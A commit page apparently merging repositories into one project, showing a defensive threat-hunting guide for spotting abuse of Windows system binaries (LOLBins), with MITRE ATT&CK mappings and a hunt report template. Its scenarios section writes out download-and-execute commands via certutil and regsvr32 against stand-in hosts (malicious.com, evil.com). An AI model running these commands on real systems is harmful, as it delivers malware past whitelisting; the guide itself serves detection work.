Claude 24f816b6a3
Consolidate 22 sibling repos into layered organism structure
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):

- brain/        LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
                dispatch, A51 channels, and the OSINT cluster
- knowledge/    LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
                MITRE ATT&CK data
- reference/    defensive threat-reference (C3, shhbruh doc) + AdaYaml parser

License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.

Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.

https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
2026-06-10 06:53:01 +00:00

116 lines
5.2 KiB
Markdown

---
name: hunting-for-living-off-the-land-binaries
description: Proactively hunt for adversary abuse of legitimate system binaries (LOLBins) to execute malicious payloads while
evading detection.
domain: cybersecurity
subdomain: threat-hunting
tags:
- threat-hunting
- mitre-attack
- lolbins
- edr
- siem
- proactive-detection
- defense-evasion
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- Executable Denylisting
- Execution Isolation
- File Metadata Consistency Validation
- Application Protocol Command Analysis
- Content Format Conversion
nist_csf:
- DE.CM-01
- DE.AE-02
- DE.AE-07
- ID.RA-05
---
# Hunting for Living-off-the-Land Binaries (LOLBins)
## When to Use
- When investigating fileless malware campaigns that bypass traditional AV
- During proactive threat hunts targeting defense evasion techniques
- When EDR alerts fire on legitimate binaries executing unusual child processes
- After threat intelligence reports indicate LOLBin abuse in active campaigns
- During red team/purple team exercises validating detection coverage for T1218
## Prerequisites
- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)
- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)
- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list
- PowerShell command-line logging enabled (Module Logging, Script Block Logging)
- Network proxy or firewall logs for correlating outbound connections
## Workflow
1. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").
2. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).
3. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.
4. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.
5. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.
6. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.
7. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.
## Key Concepts
| Concept | Description |
|---------|-------------|
| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |
| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |
| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |
| T1218.001 | Compiled HTML File (mshta.exe) |
| T1218.002 | Control Panel (control.exe) |
| T1218.003 | CMSTP |
| T1218.005 | Mshta |
| T1218.010 | Regsvr32 |
| T1218.011 | Rundll32 |
| T1197 | BITS Jobs (bitsadmin.exe) |
| T1140 | Deobfuscate/Decode Files (certutil.exe) |
| Proxy Execution | Using trusted binaries to execute untrusted code |
| Fileless Attack | Attack that operates primarily in memory without dropping files |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| CrowdStrike Falcon | EDR telemetry and process tree analysis |
| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |
| Splunk | SIEM log aggregation and SPL queries |
| Elastic Security | Detection rules and timeline investigation |
| Sysmon | Detailed process creation and network logging |
| LOLBAS Project | Reference database of LOLBin capabilities |
| Sigma Rules | Generic detection rule format for LOLBins |
| Velociraptor | Endpoint forensic collection and hunting |
## Common Scenarios
1. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http://malicious.com/payload.exe` to download malware, bypassing web proxies that allow certutil traffic.
2. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.
3. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.
4. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll` bypassing application whitelisting.
5. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin /transfer`.
## Output Format
```
Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Hypothesis: [Stated hypothesis]
LOLBins Investigated: [List of binaries]
Time Range: [Start] - [End]
Data Sources: [EDR, Sysmon, SIEM]
Findings:
- [Finding 1 with evidence]
- [Finding 2 with evidence]
Anomalies Detected: [Count]
True Positives: [Count]
False Positives: [Count]
IOCs Identified: [List]
Detection Rules Created/Updated: [List]
Recommendations: [Next steps]
```